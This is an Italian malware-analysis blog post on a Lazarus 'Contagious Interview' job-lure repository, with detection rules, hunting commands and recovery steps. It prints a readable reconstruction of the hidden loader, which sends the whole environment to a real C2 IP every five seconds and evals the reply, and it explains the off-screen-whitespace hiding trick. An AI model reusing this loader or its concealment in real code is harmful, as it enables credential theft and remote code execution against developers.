Lazarus "Contagious Interview": Come una Finta Offerta di Lavoro Prova a Svuotarti la Macchina

Un vero sample del gruppo Lazarus (Corea del Nord), consegnato come assignment di un colloquio per un progetto "Web3 poker". L'ho analizzato, deoffuscato il loader, e pubblicato l'intero dossier open source, IOC e regole YARA/Sigma/Suricata incluse.

Immagina di essere uno sviluppatore in cerca di lavoro. Un recruiter ti scrive su LinkedIn o Telegram. Il ruolo sembra reale, la paga è buona. Come parte del "colloquio" ti chiedono un piccolo task da fare a casa: clona questo repo, eseguilo in locale, sistema un bug, rimandalo indietro. Una cosa del tutto normale nel nostro settore.

Peccato che il repo sia un malware. Nel momento in cui esegui node server.js, la tua macchina di sviluppo, quella con tutti i tuoi segreti, chiavi SSH, token cloud e wallet crypto, inizia a fare beacon verso un server nell'orbita della Corea del Nord.

Questa è Contagious Interview, una campagna attribuita al gruppo Lazarus (DPRK), tracciata anche come DeceptiveDevelopment, DEV#POPPER e Famous Chollima. Ho messo le mani su un sample reale, l'ho smontato in una VM isolata, e ho pubblicato un dossier bilingue completo su GitHub. Questo articolo è il racconto di cosa c'è dentro.

⚠️ Tutto ciò che segue è stato analizzato in una VM isolata e ripristinabile, senza credenziali. Il codice nel repo originale è malware vivo: non eseguire mai un "assignment" da colloquio su una macchina reale. Il sample neutralizzato, gli IOC e le regole di detection sono tutti nel dossier open source linkato in fondo.

L'esca: "ChainFlip Labs Platform"

L'esca è un progetto chiamato ChainFlip Labs Platform, presentato come una sofisticata app Web3 multifunzione, una piattaforma poker/gaming con wallet crypto integrato. Il README si vanta di uno stack moderno: Solana, Next.js 16, React 19, TypeScript.

Il codice vero? Un frontend Create-React-App basilare, un backend Express, ed ethers/Polygon. Di Solana e Next.js nemmeno l'ombra. Questo divario tra ciò che il README dichiara e ciò che il codice è davvero risulta essere un classico indizio di un'esca messa insieme in fretta. Tutto il client React, la logica di gioco, i modelli Mongo e i socket sono codice di facciata legittimo: esistono solo per rendere l'assignment credibile e spingerti ad avviare il server.

Perché una volta che il server parte, la trappola scatta.

La catena d'attacco: due stadi

STADIO 1 (nel repo)              STADIO 2 (consegnato via eval)
routes/api/auth.js     ──►       stealer browser + wallet
profila l'host                   password, cookie/sessioni,
ruba process.env                 MetaMask/Phantom, keychain
beacon ogni 5s al C2 ────────►   eval(message) dal C2

Lo stadio 1 vive nel repository ed è ciò che riesci effettivamente a vedere. Lo stadio 2 non viene mai salvato su disco. È scaricato dal server di command-and-control a runtime ed eseguito in memoria. Guardiamoli entrambi.

Stadio 1: il loader nascosto in routes/api/auth.js

Il payload è appeso in fondo a un file di routing Express dall'aspetto del tutto ordinario. Le righe 1–16 sono perfettamente legittime (un handler di login con validazione). Poi, alla riga 17, dopo centinaia di spazi che spingono il codice ben fuori dallo schermo, sta un blob offuscato (stile obfuscator.io: variabili _0x…, array di stringhe ruotato, indici esadecimali). Subito dopo, l'innocente module.exports = router;.

router.post('/', [...], login);
                              ⟵ centinaia di spazi ⟶   (function(_0x481bac,_0xd92d3e){…MALWARE…})(…);
module.exports = router;

Quell'indentazione forzata è un trucco anti-review: in un diff Git o in un editor senza word-wrap, la riga sembra vuota. L'occhio ci scivola sopra senza accorgersene.

Ecco la ricostruzione leggibile di cosa fa davvero quel blob:

const os = require('os');
let sysId = 0;

// 1) Profila la vittima
function getSystemInfo() {
  return {
    hostname: os.hostname(),
    macs: [ /* MAC della prima interfaccia IPv4 non interna */ ],
    os: `${os.type()} ${os.release()} (${os.platform()})`,
  };
}

// 2) Beacon al C2 + esecuzione della seconda fase
async function sendRequest(sysInfo) {
  try {
    const params = new URLSearchParams({
      sysInfo:     JSON.stringify(sysInfo),
      processInfo: JSON.stringify(process.env),   // ⚠️ TUTTE le variabili d'ambiente
      tid:         'bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=', // base64
      sysId:       sysId,                          // id vittima assegnato dal C2
    });

    // URL del C2 in base64 per nasconderlo
    const url = Buffer.from(
      'aHR0cDovLzIxNi4yNTAuMjUxLjE4NzoxMjI0L2FwaS9jaGVja1N0YXR1cw==',
      'base64').toString('utf8');  // → hxxp://216[.]250[.]251[.]187:1224/api/checkStatus

    const res = await fetch(url + '?' + params);
    const { status, message, sysId: newId } = await res.json();

    if (status === 'error') {              // ⚠️ la keyword trigger è "error" (controintuitivo)
      try { eval(message); } catch (e) {}   // ⚠️⚠️ RCE: esegue codice arbitrario dal C2
    }
    if (newId) sysId = newId;
  } catch (e) { console.error(e); }
}

// 3) Avvio immediato + ripetizione ogni 5 secondi
try {
  const s = getSystemInfo();
  sendRequest(s);
  setInterval(() => sendRequest(s), 5000);
} catch (e) { console.error(e); process.exit(1); }

Tre cose lo rendono insidioso:

Parte all'avvio, non al login. Il blob è codice top-level del modulo, quindi viene eseguito nel momento in cui il router viene require()-ato, cioè quando esegui node server.js. Nessuno deve chiamare l'endpoint di login. Avviare l'app una volta sola è sufficiente.

Ruba l'intero process.env. Su una macchina di sviluppo questo significa tipicamente JWT_SECRET, MONGO_URI (credenziali del database), token API, chiavi AWS/GCP/Azure, segreti CI/CD, tutto inviato in chiaro su HTTP non cifrato.

È un eval comandato da remoto. Quando il C2 risponde con status === 'error' (sì, "error" è il trigger di successo, un piccolo depistaggio), il loader esegue eval(message). È esecuzione di codice arbitrario, aggiornata a ogni beacon, ogni 5 secondi.

E c'è un dettaglio agghiacciante. Quel parametro tid, l'identificativo di campagna dell'operatore, si decodifica da base64 in:

now it time to get everything

Stadio 2: l'info-stealer che non troverai mai nel repo

Questa è la parte che non è nel repository, ed è voluto. Il secondo stadio arriva nel campo message della risposta JSON del C2 e viene eseguito direttamente tramite eval(), in memoria, mai scritto su disco.

Le conseguenze sono pesanti:

  • esecuzione di codice arbitrario, controllata dall'operatore in tempo reale;
  • un payload che può essere diverso per ogni vittima e aggiornato a ogni beacon (ogni 5 secondi);
  • nessun artefatto su disco, quindi gli antivirus statici non hanno quasi nulla a cui aggrapparsi. Serve detection comportamentale e di rete.

Sulla base delle infezioni pubblicamente documentate di questa campagna (la famiglia InvisibleFerret), il secondo stadio punta tipicamente a:

Dati dei browser sui browser Chromium (Chrome, Brave, Edge, Opera): password salvate (Login Data), cookie di sessione, che permettono di dirottare account già loggati e bypassare completamente l'MFA, dati di autofill/carte, e la chiave AES da Local State necessaria per decifrare il tutto.

Wallet crypto: estensioni del browser come MetaMask e Phantom, oltre ai file keystore locali.

Credenziali e segreti: keychain/keyring di sistema, file di configurazione, chiavi SSH, token cloud e CI.

Persistenza e fasi successive: alcune varianti scaricano tooling aggiuntivo (un keylogger Python, un RAT) per mantenere l'accesso a lungo termine.

In sintesi: lo stadio 1 conquista un punto d'appoggio e ruba i segreti dell'ambiente; lo stadio 2 prosciuga browser e wallet.

Perché elude così bene

Metti insieme le tecniche e capisci perché funziona anche con persone preparate:

  • offuscamento obfuscator.io, l'array di stringhe viene ruotato a runtime finché un checksum non combacia;
  • l'URL del C2 e l'id di campagna sono nascosti in base64;
  • il payload è spinto fuori dallo schermo da centinaia di spazi;
  • il danno vero (stadio 2) vive solo in memoria, quindi c'è poco da trovare per uno scanner statico;
  • il progetto intorno è un'app plausibile e funzionante che invita a essere eseguita "giusto per vedere se funziona".

Come rilevarlo

Ho reso open source l'intero pacchetto di detection nel dossier (cartella rules/). In breve:

YARA individua il loader statico nei sorgenti JS combinando il base64 dell'URL del C2 / del tid, il pattern processInfo + eval(, l'IP/porta del C2 in chiaro e il marker di offuscamento _0x. Ottimo per scansionare repo, pacchetti npm, allegati e snapshot del filesystem.

Sigma lavora sul comportamento: un processo node che apre connessioni in uscita verso 216.250.251.187 o la porta 1224 (da mappare su Sysmon EventID 3 o sulla telemetria del tuo EDR).

Suricata/Snort lavora a livello di rete: una richiesta HTTP al C2 con URI /api/checkStatus che porta un parametro processInfo= (è il tuo process.env che esce di casa).

E la parte pratica, one-liner di hunting che puoi lanciare subito su un "assignment" sospetto:

# Grep dei tuoi repo / dipendenze npm per gli IOC
grep -rIlE "processInfo|checkStatus|216\.250\.251\.187|aHR0cDovLzIxNi4yNTAuMjUx" .

# Loader offuscato generico: eval su una risposta + il marker _0x
grep -rIlE "eval\(" --include='*.js' . | xargs -r grep -lE "_0x[0-9a-f]{4,}"

# Individua righe anomalmente lunghe (il trucco dell'indentazione off-screen)
for f in $(git ls-files '*.js'); do awk -v F="$f" 'length>1000{print F":"NR" ("length")"}' "$f"; done

Più in generale, durante la code review: attiva il word-wrap, e diffida di eval, Function(, blob base64, _0x…, child_process e require('os') accanto a fetch/http, soprattutto in fondo ai file.

Se l'hai già eseguito

Considera la macchina come totalmente compromessa. Un eval remoto significa che non hai alcuna garanzia su cosa sia stato eseguito. In ordine:

  1. Isola immediatamente la macchina dalla rete.
  2. Blocca 216.250.251.187 e la porta 1224 su firewall/EDR.
  3. Ruota ogni credenziale presente nell'ambiente: password DB, MONGO_URI, JWT_SECRET, token API, chiavi AWS/GCP/Azure, token CI/CD, chiavi SSH, PAT di Git.
  4. Browser: cambia le password dei tuoi account e revoca tutte le sessioni (logout globale). I cookie rubati bypassano l'MFA finché le sessioni restano valide.
  5. Wallet crypto: considera le seed compromesse. Genera nuovi wallet su una macchina pulita e sposta i fondi. Non riutilizzare mai le seed.
  6. Persistenza: controlla cron job, servizi, voci di avvio, processi node/python anomali, pacchetti npm/pip installati di recente.
  7. Reinstalla il sistema operativo da zero quando possibile.

Come non farti mai fregare

La prevenzione è semplice e vale la pena interiorizzarla come abitudine:

  • Non eseguire mai un assignment di colloquio non verificato sulla tua macchina personale o di lavoro. Usa una VM usa-e-getta senza credenziali, su una rete monitorata.
  • Diffida di qualsiasi repo che ti spinga ad avviare un server/app "per vedere se funziona".
  • Tieni i wallet crypto su un dispositivo separato dalla macchina di sviluppo.
  • Scansiona repo e dipendenze con regole di detection prima di eseguire qualsiasi cosa.

Il genio di Contagious Interview non è il codice. Il loader è un beacon offuscato piuttosto standard. Il genio è il social engineering: colpisce l'ambizione professionale degli sviluppatori e la nostra abitudine ormai normalizzata di clonare ed eseguire codice di sconosciuti. La difesa è soprattutto una forma mentis: un coding assignment è input non fidato, e l'input non fidato va in una sandbox.

Il dossier open source completo

Ho pubblicato tutto, overview della campagna, loader deoffuscato, analisi dello stadio 2, IOC machine-readable (CSV + STIX 2.1), una blocklist di rete, le regole YARA/Sigma/Suricata e un sample neutralizzato, come dossier di threat intelligence bilingue (IT/EN) su GitHub, solo per uso difensivo ed educativo:

🔗 github.com/francesco-oghabi/lazarus-contagious-interview

Se lavori con Node.js, ti occupi di security, o semplicemente ricevi tanti messaggi dai recruiter, dacci un'occhiata, e condividilo con gli sviluppatori intorno a te. La migliore regola di detection è un team che conosce il trucco.

Resta curioso. Ma non eseguirlo sul tuo portatile.